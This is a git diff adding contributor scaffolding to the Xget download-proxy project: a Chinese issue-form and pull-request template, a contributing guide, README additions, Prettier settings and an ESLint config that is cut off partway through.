||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: technical-challenges
|
||||||
|
attributes:
|
||||||
|
label: 技术挑战
|
||||||
|
description: 您是否了解支持这个平台可能面临的技术挑战?
|
||||||
|
placeholder: |
|
||||||
|
可能的技术挑战:
|
||||||
|
- 特殊的 URL 结构
|
||||||
|
- 复杂的认证流程
|
||||||
|
- 特殊的请求头要求
|
||||||
|
- 其他技术限制
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: input
|
||||||
|
id: similar-platforms
|
||||||
|
attributes:
|
||||||
|
label: 类似平台
|
||||||
|
description: 是否有已支持的类似平台可以参考?
|
||||||
|
placeholder: 例如:类似于 GitHub 的功能
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: documentation
|
||||||
|
attributes:
|
||||||
|
label: 相关文档
|
||||||
|
description: 提供该平台的 API 文档或开发者文档链接
|
||||||
|
placeholder: |
|
||||||
|
- API 文档:https://...
|
||||||
|
- 开发者指南:https://...
|
||||||
|
- 其他相关资源:https://...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: dropdown
|
||||||
|
id: priority-level
|
||||||
|
attributes:
|
||||||
|
label: 优先级
|
||||||
|
description: 您认为这个平台支持的优先级如何?
|
||||||
|
options:
|
||||||
|
- 高 - 急需支持
|
||||||
|
- 中 - 希望尽快支持
|
||||||
|
- 低 - 有时间时支持
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
|
||||||
|
- type: textarea
|
||||||
|
id: additional-info
|
||||||
|
attributes:
|
||||||
|
label: 附加信息
|
||||||
|
description: 任何其他有助于评估和实现平台支持的信息
|
||||||
|
placeholder: 其他相关信息...
|
||||||
|
validations:
|
||||||
|
required: false
|
||||||
|
|
||||||
|
- type: checkboxes
|
||||||
|
id: terms
|
||||||
|
attributes:
|
||||||
|
label: 确认
|
||||||
|
description: 在提交之前,请确认以下内容
|
||||||
|
options:
|
||||||
|
- label: 我已经确认该平台提供公开可访问的内容
|
||||||
|
required: true
|
||||||
|
- label: 我了解该平台的使用条款和限制
|
||||||
|
required: true
|
||||||
|
- label: 我提供的信息准确且完整
|
||||||
|
required: true
|
||||||
@@ -0,0 +1,229 @@
|
|||||||
|
# Pull Request
|
||||||
|
|
||||||
|
## 📋 变更概述
|
||||||
|
|
||||||
|
### 变更类型
|
||||||
|
|
||||||
|
请选择适用的类型:
|
||||||
|
|
||||||
|
- [ ] 🐛 Bug 修复
|
||||||
|
- [ ] ✨ 新功能
|
||||||
|
- [ ] 📚 文档更新
|
||||||
|
- [ ] 🎨 代码格式化/重构
|
||||||
|
- [ ] ⚡ 性能优化
|
||||||
|
- [ ] 🧪 测试相关
|
||||||
|
- [ ] 🔧 构建/配置更改
|
||||||
|
- [ ] 🌐 新平台支持
|
||||||
|
|
||||||
|
### 变更描述
|
||||||
|
|
||||||
|
简要描述此 PR 的主要变更内容:
|
||||||
|
|
||||||
|
### 相关 Issue
|
||||||
|
|
||||||
|
关联的 Issue 编号(如果有):
|
||||||
|
|
||||||
|
- Closes #
|
||||||
|
- Fixes #
|
||||||
|
- Related to #
|
||||||
|
|
||||||
|
## 🔍 详细说明
|
||||||
|
|
||||||
|
### 变更内容
|
||||||
|
|
||||||
|
详细描述您所做的更改:
|
||||||
|
|
||||||
|
### 实现方法
|
||||||
|
|
||||||
|
说明您是如何实现这些更改的:
|
||||||
|
|
||||||
|
### 影响范围
|
||||||
|
|
||||||
|
这些更改会影响哪些部分:
|
||||||
|
|
||||||
|
- [ ] 核心代理逻辑
|
||||||
|
- [ ] 平台配置
|
||||||
|
- [ ] 安全机制
|
||||||
|
- [ ] 缓存策略
|
||||||
|
- [ ] 性能监控
|
||||||
|
- [ ] 文档
|
||||||
|
- [ ] 测试
|
||||||
|
- [ ] 其他:
|
||||||
|
|
||||||
|
## 🧪 测试
|
||||||
|
|
||||||
|
### 测试环境
|
||||||
|
|
||||||
|
- [ ] 本地开发环境
|
||||||
|
- [ ] Cloudflare Workers 测试环境
|
||||||
|
- [ ] 生产环境(如适用)
|
||||||
|
|
||||||
|
### 测试用例
|
||||||
|
|
||||||
|
描述您进行的测试:
|
||||||
|
|
||||||
|
#### 功能测试
|
||||||
|
|
||||||
|
- [ ] 基本功能正常工作
|
||||||
|
- [ ] 边界情况处理正确
|
||||||
|
- [ ] 错误处理机制有效
|
||||||
|
|
||||||
|
#### 平台测试(如适用)
|
||||||
|
|
||||||
|
- [ ] GitHub 文件下载
|
||||||
|
- [ ] GitLab 文件下载
|
||||||
|
- [ ] Hugging Face 模型下载
|
||||||
|
- [ ] npm 包下载
|
||||||
|
- [ ] PyPI 包下载
|
||||||
|
- [ ] conda 包下载
|
||||||
|
- [ ] Git 操作(clone/push/pull)
|
||||||
|
|
||||||
|
#### 性能测试
|
||||||
|
|
||||||
|
- [ ] 响应时间在可接受范围内
|
||||||
|
- [ ] 缓存机制工作正常
|
||||||
|
- [ ] 内存使用合理
|
||||||
|
|
||||||
|
### 测试结果
|
||||||
|
|
||||||
|
提供测试结果或截图:
|
||||||
|
|
||||||
|
## 📝 检查清单
|
||||||
|
|
||||||
|
### 代码质量
|
||||||
|
|
||||||
|
- [ ] 代码遵循项目编码规范
|
||||||
|
- [ ] 添加了必要的注释
|
||||||
|
- [ ] 没有遗留的调试代码
|
||||||
|
- [ ] 处理了所有可能的错误情况
|
||||||
|
|
||||||
|
### 测试覆盖
|
||||||
|
|
||||||
|
- [ ] 为新功能添加了测试用例
|
||||||
|
- [ ] 所有测试都通过
|
||||||
|
- [ ] 测试覆盖率没有显著下降
|
||||||
|
|
||||||
|
### 文档更新
|
||||||
|
|
||||||
|
- [ ] 更新了相关的 README 部分
|
||||||
|
- [ ] 更新了 API 文档(如适用)
|
||||||
|
- [ ] 添加了使用示例(如适用)
|
||||||
|
- [ ] 更新了配置说明(如适用)
|
||||||
|
|
||||||
|
### 兼容性
|
||||||
|
|
||||||
|
- [ ] 向后兼容现有功能
|
||||||
|
- [ ] 不会破坏现有的 API
|
||||||
|
- [ ] 考虑了不同平台的兼容性
|
||||||
|
|
||||||
|
## 🚀 部署注意事项
|
||||||
|
|
||||||
|
### 配置变更
|
||||||
|
|
||||||
|
是否需要更新配置:
|
||||||
|
|
||||||
|
- [ ] 无需配置变更
|
||||||
|
- [ ] 需要更新环境变量
|
||||||
|
- [ ] 需要更新 wrangler.toml
|
||||||
|
- [ ] 需要更新平台配置
|
||||||
|
|
||||||
|
### 部署风险
|
||||||
|
|
||||||
|
评估部署风险:
|
||||||
|
|
||||||
|
- [ ] 低风险 - 仅文档或小幅改进
|
||||||
|
- [ ] 中风险 - 功能增强或重构
|
||||||
|
- [ ] 高风险 - 核心逻辑变更
|
||||||
|
|
||||||
|
### 回滚计划
|
||||||
|
|
||||||
|
如果需要回滚,说明回滚步骤:
|
||||||
|
|
||||||
|
## 📊 性能影响
|
||||||
|
|
||||||
|
### 性能指标
|
||||||
|
|
||||||
|
如果涉及性能变更,请提供相关数据:
|
||||||
|
|
||||||
|
#### 响应时间
|
||||||
|
|
||||||
|
- 变更前:
|
||||||
|
- 变更后:
|
||||||
|
- 改进幅度:
|
||||||
|
|
||||||
|
#### 内存使用
|
||||||
|
|
||||||
|
- 变更前:
|
||||||
|
- 变更后:
|
||||||
|
- 变化情况:
|
||||||
|
|
||||||
|
#### 缓存效率
|
||||||
|
|
||||||
|
- 缓存命中率变化:
|
||||||
|
- 缓存策略优化:
|
||||||
|
|
||||||
|
## 🔒 安全考虑
|
||||||
|
|
||||||
|
### 安全影响
|
||||||
|
|
||||||
|
- [ ] 此变更不涉及安全问题
|
||||||
|
- [ ] 此变更增强了安全性
|
||||||
|
- [ ] 此变更可能有安全影响(请详细说明)
|
||||||
|
|
||||||
|
### 安全检查
|
||||||
|
|
||||||
|
- [ ] 输入验证充分
|
||||||
|
- [ ] 输出编码正确
|
||||||
|
- [ ] 权限控制适当
|
||||||
|
- [ ] 敏感信息保护
|
||||||
|
|
||||||
|
## 📸 截图/演示
|
||||||
|
|
||||||
|
如果适用,请提供截图或演示链接:
|
||||||
|
|
||||||
|
## 💬 其他说明
|
||||||
|
|
||||||
|
### 已知问题
|
||||||
|
|
||||||
|
列出任何已知的问题或限制:
|
||||||
|
|
||||||
|
### 后续工作
|
||||||
|
|
||||||
|
描述可能的后续改进或相关工作:
|
||||||
|
|
||||||
|
### 特别说明
|
||||||
|
|
||||||
|
任何需要审查者特别注意的地方:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 审查者检查清单
|
||||||
|
|
||||||
|
### 代码审查
|
||||||
|
|
||||||
|
- [ ] 代码逻辑正确
|
||||||
|
- [ ] 代码风格一致
|
||||||
|
- [ ] 性能考虑充分
|
||||||
|
- [ ] 安全措施到位
|
||||||
|
|
||||||
|
### 功能验证
|
||||||
|
|
||||||
|
- [ ] 功能按预期工作
|
||||||
|
- [ ] 边界情况处理正确
|
||||||
|
- [ ] 错误处理完善
|
||||||
|
|
||||||
|
### 文档检查
|
||||||
|
|
||||||
|
- [ ] 文档更新完整
|
||||||
|
- [ ] 示例代码正确
|
||||||
|
- [ ] 配置说明清晰
|
||||||
|
|
||||||
|
### 测试验证
|
||||||
|
|
||||||
|
- [ ] 测试用例充分
|
||||||
|
- [ ] 测试结果可信
|
||||||
|
- [ ] 覆盖率满足要求
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
感谢您的贡献!🎉
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
# Dependencies
|
||||||
|
node_modules/
|
||||||
|
.pnp
|
||||||
|
.pnp.js
|
||||||
|
|
||||||
|
# Production builds
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
|
||||||
|
# Environment files
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
.env.development.local
|
||||||
|
.env.test.local
|
||||||
|
.env.production.local
|
||||||
|
|
||||||
|
# Logs
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
lerna-debug.log*
|
||||||
|
|
||||||
|
# Coverage directory used by tools like istanbul
|
||||||
|
coverage/
|
||||||
|
*.lcov
|
||||||
|
|
||||||
|
# Dependency directories
|
||||||
|
node_modules/
|
||||||
|
jspm_packages/
|
||||||
|
|
||||||
|
# Optional npm cache directory
|
||||||
|
.npm
|
||||||
|
|
||||||
|
# Optional eslint cache
|
||||||
|
.eslintcache
|
||||||
|
|
||||||
|
# Output of 'npm pack'
|
||||||
|
*.tgz
|
||||||
|
|
||||||
|
# Yarn Integrity file
|
||||||
|
.yarn-integrity
|
||||||
|
|
||||||
|
# parcel-bundler cache (https://parceljs.org/)
|
||||||
|
.cache
|
||||||
|
.parcel-cache
|
||||||
|
|
||||||
|
# Next.js build output
|
||||||
|
.next
|
||||||
|
|
||||||
|
# Nuxt.js build / generate output
|
||||||
|
.nuxt
|
||||||
|
dist
|
||||||
|
|
||||||
|
# Storybook build outputs
|
||||||
|
.out
|
||||||
|
.storybook-out
|
||||||
|
|
||||||
|
# Temporary folders
|
||||||
|
tmp/
|
||||||
|
temp/
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
|
|
||||||
|
# OS generated files
|
||||||
|
.DS_Store
|
||||||
|
.DS_Store?
|
||||||
|
._*
|
||||||
|
.Spotlight-V100
|
||||||
|
.Trashes
|
||||||
|
ehthumbs.db
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Wrangler
|
||||||
|
.wrangler/
|
||||||
|
|
||||||
|
# Git
|
||||||
|
.git/
|
||||||
|
|
||||||
|
# Lock files (optional - uncomment if you want to format them)
|
||||||
|
# package-lock.json
|
||||||
|
# yarn.lock
|
||||||
|
# pnpm-lock.yaml
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
{
|
||||||
|
"arrowParens": "avoid",
|
||||||
|
"bracketSameLine": false,
|
||||||
|
"bracketSpacing": true,
|
||||||
|
"embeddedLanguageFormatting": "auto",
|
||||||
|
"endOfLine": "lf",
|
||||||
|
"insertPragma": false,
|
||||||
|
"jsxSingleQuote": true,
|
||||||
|
"overrides": [
|
||||||
|
{
|
||||||
|
"files": "*.md",
|
||||||
|
"options": {
|
||||||
|
"printWidth": 80,
|
||||||
|
"proseWrap": "always"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"files": "*.json",
|
||||||
|
"options": {
|
||||||
|
"printWidth": 120
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"files": "*.yml",
|
||||||
|
"options": {
|
||||||
|
"singleQuote": false,
|
||||||
|
"tabWidth": 2
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"printWidth": 100,
|
||||||
|
"proseWrap": "preserve",
|
||||||
|
"quoteProps": "as-needed",
|
||||||
|
"requirePragma": false,
|
||||||
|
"semi": true,
|
||||||
|
"singleQuote": true,
|
||||||
|
"tabWidth": 2,
|
||||||
|
"trailingComma": "none",
|
||||||
|
"useTabs": false
|
||||||
|
}
|
||||||
+6
-6
@@ -60,7 +60,7 @@ representative at an online or offline event.
|
|||||||
|
|
||||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||||
reported to the community leaders responsible for enforcement at
|
reported to the community leaders responsible for enforcement at
|
||||||
i@xi-xu.me.
|
<i@xi-xu.me>.
|
||||||
All complaints will be reviewed and investigated promptly and fairly.
|
All complaints will be reviewed and investigated promptly and fairly.
|
||||||
|
|
||||||
All community leaders are obligated to respect the privacy and security of the
|
All community leaders are obligated to respect the privacy and security of the
|
||||||
@@ -116,13 +116,13 @@ the community.
|
|||||||
|
|
||||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||||
version 2.0, available at
|
version 2.0, available at
|
||||||
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
|
<https://www.contributor-covenant.org/version/2/0/code_of_conduct.html>.
|
||||||
|
|
||||||
Community Impact Guidelines were inspired by [Mozilla's code of conduct
|
Community Impact Guidelines were inspired by [Mozilla's code of conduct
|
||||||
enforcement ladder](https://github.com/mozilla/diversity).
|
enforcement ladder](https://github.com/mozilla/diversity).
|
||||||
|
|
||||||
[homepage]: https://www.contributor-covenant.org
|
|
||||||
|
|
||||||
For answers to common questions about this code of conduct, see the FAQ at
|
For answers to common questions about this code of conduct, see the FAQ at
|
||||||
https://www.contributor-covenant.org/faq. Translations are available at
|
<https://www.contributor-covenant.org/faq>. Translations are available at
|
||||||
https://www.contributor-covenant.org/translations.
|
<https://www.contributor-covenant.org/translations>.
|
||||||
|
|
||||||
|
[homepage]: https://www.contributor-covenant.org
|
||||||
+251
@@ -0,0 +1,251 @@
|
|||||||
|
# 贡献指南
|
||||||
|
|
||||||
|
感谢您对 Xget 项目的关注!我们欢迎各种形式的贡献,包括但不限于代码、文档、测试、反馈和建议。
|
||||||
|
|
||||||
|
## 🤝 贡献方式
|
||||||
|
|
||||||
|
### 报告问题
|
||||||
|
|
||||||
|
- 使用 [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose) 报告 bug 或提出功能请求
|
||||||
|
- 搜索现有 issues 避免重复报告
|
||||||
|
- 提供详细的重现步骤和环境信息
|
||||||
|
|
||||||
|
### 提交代码
|
||||||
|
|
||||||
|
- Fork 项目到您的 GitHub 账户
|
||||||
|
- 创建功能分支 (`git checkout -b feature/amazing-feature`)
|
||||||
|
- 提交更改 (`git commit -m 'Add some amazing feature'`)
|
||||||
|
- 推送到分支 (`git push origin feature/amazing-feature`)
|
||||||
|
- 创建 Pull Request
|
||||||
|
|
||||||
|
### 改进文档
|
||||||
|
|
||||||
|
- 修正文档中的错误或不准确信息
|
||||||
|
- 添加使用示例和最佳实践
|
||||||
|
- 翻译文档到其他语言
|
||||||
|
- 改进代码注释和 API 文档
|
||||||
|
|
||||||
|
## 🛠️ 开发环境设置
|
||||||
|
|
||||||
|
### 前置要求
|
||||||
|
|
||||||
|
- Node.js 18+
|
||||||
|
- npm 或 yarn
|
||||||
|
- Git
|
||||||
|
- Cloudflare 账户(用于测试部署)
|
||||||
|
|
||||||
|
### 本地开发
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 克隆项目
|
||||||
|
git clone https://github.com/xixu-me/Xget.git
|
||||||
|
cd Xget
|
||||||
|
|
||||||
|
# 安装依赖
|
||||||
|
npm install
|
||||||
|
|
||||||
|
# 启动开发服务器
|
||||||
|
npm run dev
|
||||||
|
|
||||||
|
# 运行测试
|
||||||
|
npm test
|
||||||
|
|
||||||
|
# 代码格式化
|
||||||
|
npm run format
|
||||||
|
|
||||||
|
# 代码检查
|
||||||
|
npm run lint
|
||||||
|
```
|
||||||
|
|
||||||
|
### 项目结构
|
||||||
|
|
||||||
|
```
|
||||||
|
Xget/
|
||||||
|
├── src/
|
||||||
|
│ ├── config/ # 配置文件
|
||||||
|
│ │ ├── index.js # 主配置
|
||||||
|
│ │ └── platforms.js # 平台配置
|
||||||
|
│ ├── utils/ # 工具函数
|
||||||
|
│ └── index.js # 主入口文件
|
||||||
|
├── tests/ # 测试文件
|
||||||
|
├── docs/ # 文档
|
||||||
|
├── .github/ # GitHub 配置
|
||||||
|
│ ├── ISSUE_TEMPLATE/ # Issue 模板
|
||||||
|
│ └── workflows/ # CI/CD 工作流
|
||||||
|
├── wrangler.toml # Cloudflare Workers 配置
|
||||||
|
├── package.json
|
||||||
|
└── README.md
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📝 代码规范
|
||||||
|
|
||||||
|
### 代码风格
|
||||||
|
|
||||||
|
- 使用 2 个空格缩进
|
||||||
|
- 使用分号结尾
|
||||||
|
- 使用单引号字符串
|
||||||
|
- 遵循 ESLint 配置规则
|
||||||
|
|
||||||
|
### 命名约定
|
||||||
|
|
||||||
|
- 变量和函数使用 camelCase
|
||||||
|
- 常量使用 UPPER_SNAKE_CASE
|
||||||
|
- 类名使用 PascalCase
|
||||||
|
- 文件名使用 kebab-case
|
||||||
|
|
||||||
|
### 注释规范
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
/**
|
||||||
|
* 函数描述
|
||||||
|
* @param {string} param1 - 参数1描述
|
||||||
|
* @param {Object} param2 - 参数2描述
|
||||||
|
* @returns {Promise<Response>} 返回值描述
|
||||||
|
*/
|
||||||
|
function exampleFunction(param1, param2) {
|
||||||
|
// 实现逻辑
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🧪 测试
|
||||||
|
|
||||||
|
### 测试类型
|
||||||
|
|
||||||
|
- **单元测试**: 测试单个函数和模块
|
||||||
|
- **集成测试**: 测试组件间的交互
|
||||||
|
- **端到端测试**: 测试完整的用户场景
|
||||||
|
|
||||||
|
### 运行测试
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 运行所有测试
|
||||||
|
npm test
|
||||||
|
|
||||||
|
# 运行特定测试文件
|
||||||
|
npm test -- --grep "platform"
|
||||||
|
|
||||||
|
# 生成测试覆盖率报告
|
||||||
|
npm run test:coverage
|
||||||
|
```
|
||||||
|
|
||||||
|
### 编写测试
|
||||||
|
|
||||||
|
- 为新功能编写相应的测试
|
||||||
|
- 确保测试覆盖率不低于 80%
|
||||||
|
- 使用描述性的测试名称
|
||||||
|
- 测试边界情况和错误处理
|
||||||
|
|
||||||
|
## 🚀 提交规范
|
||||||
|
|
||||||
|
### Commit 消息格式
|
||||||
|
|
||||||
|
使用 [Conventional Commits](https://www.conventionalcommits.org/) 规范:
|
||||||
|
|
||||||
|
```
|
||||||
|
<type>[optional scope]: <description>
|
||||||
|
|
||||||
|
[optional body]
|
||||||
|
|
||||||
|
[optional footer(s)]
|
||||||
|
```
|
||||||
|
|
||||||
|
### 类型说明
|
||||||
|
|
||||||
|
- `feat`: 新功能
|
||||||
|
- `fix`: 修复 bug
|
||||||
|
- `docs`: 文档更新
|
||||||
|
- `style`: 代码格式化(不影响功能)
|
||||||
|
- `refactor`: 代码重构
|
||||||
|
- `perf`: 性能优化
|
||||||
|
- `test`: 测试相关
|
||||||
|
- `chore`: 构建过程或辅助工具的变动
|
||||||
|
|
||||||
|
### 示例
|
||||||
|
|
||||||
|
```bash
|
||||||
|
feat(platforms): add support for Bitbucket
|
||||||
|
fix(cache): resolve cache invalidation issue
|
||||||
|
docs(readme): update installation instructions
|
||||||
|
perf(proxy): optimize request handling performance
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔍 Pull Request 流程
|
||||||
|
|
||||||
|
### 提交前检查
|
||||||
|
|
||||||
|
- [ ] 代码通过所有测试
|
||||||
|
- [ ] 代码符合项目规范
|
||||||
|
- [ ] 添加了必要的测试
|
||||||
|
- [ ] 更新了相关文档
|
||||||
|
- [ ] Commit 消息符合规范
|
||||||
|
|
||||||
|
### PR 描述模板
|
||||||
|
|
||||||
|
请使用 [PR 模板](.github/pull_request_template.md) 填写详细信息。
|
||||||
|
|
||||||
|
### 代码审查
|
||||||
|
|
||||||
|
- 所有 PR 需要至少一个维护者的审查
|
||||||
|
- 解决审查中提出的问题
|
||||||
|
- 保持 PR 的焦点明确,避免混合多个不相关的更改
|
||||||
|
|
||||||
|
## 🌟 贡献认可
|
||||||
|
|
||||||
|
### 贡献者列表
|
||||||
|
|
||||||
|
我们会在 README.md 中维护贡献者列表,感谢每一位贡献者的付出。
|
||||||
|
|
||||||
|
### 贡献统计
|
||||||
|
|
||||||
|
- 代码贡献会在 GitHub 贡献图中显示
|
||||||
|
- 重要贡献会在 Release Notes 中特别提及
|
||||||
|
- 长期贡献者可能被邀请成为项目维护者
|
||||||
|
|
||||||
|
## 📋 开发任务
|
||||||
|
|
||||||
|
### 当前优先级
|
||||||
|
|
||||||
|
1. **性能优化**: 提升缓存效率和响应速度
|
||||||
|
2. **平台支持**: 添加新的代码托管和包管理平台
|
||||||
|
3. **安全增强**: 加强请求验证和安全防护
|
||||||
|
4. **监控改进**: 完善性能监控和错误追踪
|
||||||
|
|
||||||
|
### 适合新手的任务
|
||||||
|
|
||||||
|
查找标有 `good first issue` 标签的 issues,这些通常是:
|
||||||
|
|
||||||
|
- 文档改进
|
||||||
|
- 简单的 bug 修复
|
||||||
|
- 代码格式化
|
||||||
|
- 测试用例添加
|
||||||
|
|
||||||
|
## 🤔 获取帮助
|
||||||
|
|
||||||
|
### 沟通渠道
|
||||||
|
|
||||||
|
- **GitHub Issues**: 报告问题和功能请求
|
||||||
|
- **GitHub Discussions**: 一般讨论和问答
|
||||||
|
- **Email**: 敏感问题可发送至维护者邮箱
|
||||||
|
|
||||||
|
### 常见问题
|
||||||
|
|
||||||
|
**Q: 如何添加新平台支持?**
|
||||||
|
A: 编辑 `src/config/platforms.js` 文件,添加平台配置,然后更新相关文档和测试。
|
||||||
|
|
||||||
|
**Q: 如何测试 Cloudflare Workers 功能?**
|
||||||
|
A: 使用 `npm run dev` 启动本地开发服务器,或部署到 Cloudflare Workers 测试环境。
|
||||||
|
|
||||||
|
**Q: 如何处理跨域问题?**
|
||||||
|
A: 检查 CORS 配置,确保允许的源和方法设置正确。
|
||||||
|
|
||||||
|
## 📄 许可证
|
||||||
|
|
||||||
|
通过贡献代码,您同意您的贡献将在与项目相同的 [GPL-3.0 许可证](LICENSE) 下发布。
|
||||||
|
|
||||||
|
## 🙏 致谢
|
||||||
|
|
||||||
|
感谢所有为 Xget 项目做出贡献的开发者、测试者和用户。您的支持和反馈是项目持续改进的动力!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
如果您有任何问题或建议,请随时通过 GitHub Issues 或 Discussions 与我们联系。我们期待您的参与!
|
||||||
@@ -697,6 +697,61 @@ npx wrangler dev --log-level debug
|
|||||||
- **责任限制**:使用本服务造成的任何直接或间接损失,开发者不承担责任
|
- **责任限制**:使用本服务造成的任何直接或间接损失,开发者不承担责任
|
||||||
- **第三方平台**:请尊重 GitHub、GitLab、Hugging Face 等平台的服务条款和速率限制
|
- **第三方平台**:请尊重 GitHub、GitLab、Hugging Face 等平台的服务条款和速率限制
|
||||||
|
|
||||||
|
## 🤝 贡献
|
||||||
|
|
||||||
|
我们欢迎各种形式的贡献!请查看 [贡献指南](CONTRIBUTING.md) 了解如何参与项目开发。
|
||||||
|
|
||||||
|
### 快速开始贡献
|
||||||
|
|
||||||
|
1. **报告问题**: 使用 [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose) 报告 bug 或提出功能请求
|
||||||
|
2. **提交代码**: Fork 项目,创建功能分支,提交 Pull Request
|
||||||
|
3. **改进文档**: 修正错误、添加示例、完善说明
|
||||||
|
4. **测试反馈**: 在不同环境下测试并提供反馈
|
||||||
|
|
||||||
|
### 开发环境
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 克隆项目
|
||||||
|
git clone https://github.com/xixu-me/Xget.git
|
||||||
|
cd Xget
|
||||||
|
|
||||||
|
# 安装依赖
|
||||||
|
npm install
|
||||||
|
|
||||||
|
# 启动开发服务器
|
||||||
|
npm run dev
|
||||||
|
|
||||||
|
# 运行测试
|
||||||
|
npm test
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🌟 Star 历史
|
||||||
|
|
||||||
|
[](https://star-history.com/#xixu-me/Xget&Date)
|
||||||
|
|
||||||
|
## 🔗 相关链接
|
||||||
|
|
||||||
|
- **项目主页**: [GitHub Repository](https://github.com/xixu-me/Xget)
|
||||||
|
- **公共实例**: [xget.xi-xu.me](https://xget.xi-xu.me)
|
||||||
|
- **浏览器扩展**: [Xget for Chromium](https://github.com/xixu-me/Xget-for-Chromium)
|
||||||
|
- **问题反馈**: [GitHub Issues](https://github.com/xixu-me/Xget/issues)
|
||||||
|
|
||||||
|
## 📞 联系方式
|
||||||
|
|
||||||
|
- **作者**: [Xi Xu](https://xi-xu.me)
|
||||||
|
- **邮箱**: [联系邮箱](mailto:contact@xi-xu.me)
|
||||||
|
- **赞助**: [赞助链接](https://xi-xu.me/#sponsorships)
|
||||||
|
|
||||||
## 📝 许可证
|
## 📝 许可证
|
||||||
|
|
||||||
本存储库采用 GPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。
|
本存储库采用 GPL-3.0 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
**如果这个项目对您有帮助,请考虑给它一个 ⭐ Star!**
|
||||||
|
|
||||||
|
Made with ❤️ by [Xi Xu](https://xi-xu.me)
|
||||||
|
|
||||||
|
</div>
|
||||||
@@ -0,0 +1,176 @@
|
|||||||
|
import js from '@eslint/js';
|
||||||
|
|
||||||
|
export default [
|
||||||
|
js.configs.recommended,
|
||||||
|
{
|
||||||
|
files: ['src/**/*.js', 'test/**/*.js'],
|
||||||
|
languageOptions: {
|
||||||
|
ecmaVersion: 2022,
|
||||||
|
sourceType: 'module',
|
||||||
|
globals: {
|
||||||
|
// Cloudflare Workers globals
|
||||||
|
addEventListener: 'readonly',
|
||||||
|
caches: 'readonly',
|
||||||
|
crypto: 'readonly',
|
||||||
|
fetch: 'readonly',
|
||||||
|
Request: 'readonly',
|
||||||
|
Response: 'readonly',
|
||||||
|
Headers: 'readonly',
|
||||||
|
URL: 'readonly',
|
||||||
|
URLSearchParams: 'readonly',
|
||||||
|
console: 'readonly',
|
||||||
|
|
||||||
|
// Vitest globals
|
||||||
|
describe: 'readonly',
|
||||||
|
it: 'readonly',
|
||||||
|
expect: 'readonly',
|
||||||
|
beforeEach: 'readonly',
|
||||||
|
afterEach: 'readonly',
|
||||||
|
beforeAll: 'readonly',
|
||||||
|
afterAll: 'readonly',
|
||||||
|
vi: 'readonly'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
rules: {
|
||||||
|
// Code quality rules
|
||||||
|
'no-unused-vars': ['error', {
|
||||||
|
argsIgnorePattern: '^_',
|
||||||
|
varsIgnorePattern: '^_'
|
||||||
|
}],
|
||||||
|
'no-console': ['warn', {
|
||||||
|
allow: ['warn', 'error']
|
||||||
|
}],
|
||||||
|
'no-debugger': 'error',
|
||||||
|
'no-alert': 'error',
|
||||||
|
|
||||||
|
// Best practices
|
||||||
|
'eqeqeq': ['error', 'always'],
|
||||||
|
'curly': ['error', 'all'],
|
||||||
|
'no-eval': 'error',
|
||||||
|
'no-implied-eval': 'error',
|
||||||
|
'no-new-func': 'error',
|
||||||
|
'no-script-url': 'error',
|
||||||
|
'no-self-compare': 'error',
|
||||||
|
'no-sequences': 'error',
|
||||||
|
'no-throw-literal': 'error',
|
||||||
|
'no-unmodified-loop-condition': 'error',
|
||||||
|
'no-unused-expressions': 'error',
|
||||||
|
'no-useless-call': 'error',
|
||||||
|
'no-useless-concat': 'error',
|
||||||
|
'no-useless-return': 'error',
|
||||||
|
'prefer-promise-reject-errors': 'error',
|
||||||
|
'radix': 'error',
|
||||||
|
'yoda': 'error',
|
||||||
|
|
||||||
|
// Variables
|
||||||
|
'no-delete-var': 'error',
|
||||||
|
'no-label-var': 'error',
|
||||||
|
'no-restricted-globals': 'error',
|
||||||
|
'no-shadow': 'error',
|
||||||
|
'no-shadow-restricted-names': 'error',
|
||||||
|
'no-undef': 'error',
|
||||||
|
'no-undef-init': 'error',
|
||||||
|
'no-use-before-define': ['error', {
|
||||||
|
functions: false,
|
||||||
|
classes: true,
|
||||||
|
variables: true
|
||||||
|
}],
|
||||||
|
|
||||||
|
// Stylistic issues
|
||||||
|
'array-bracket-spacing': ['error', 'never'],
|
||||||
|
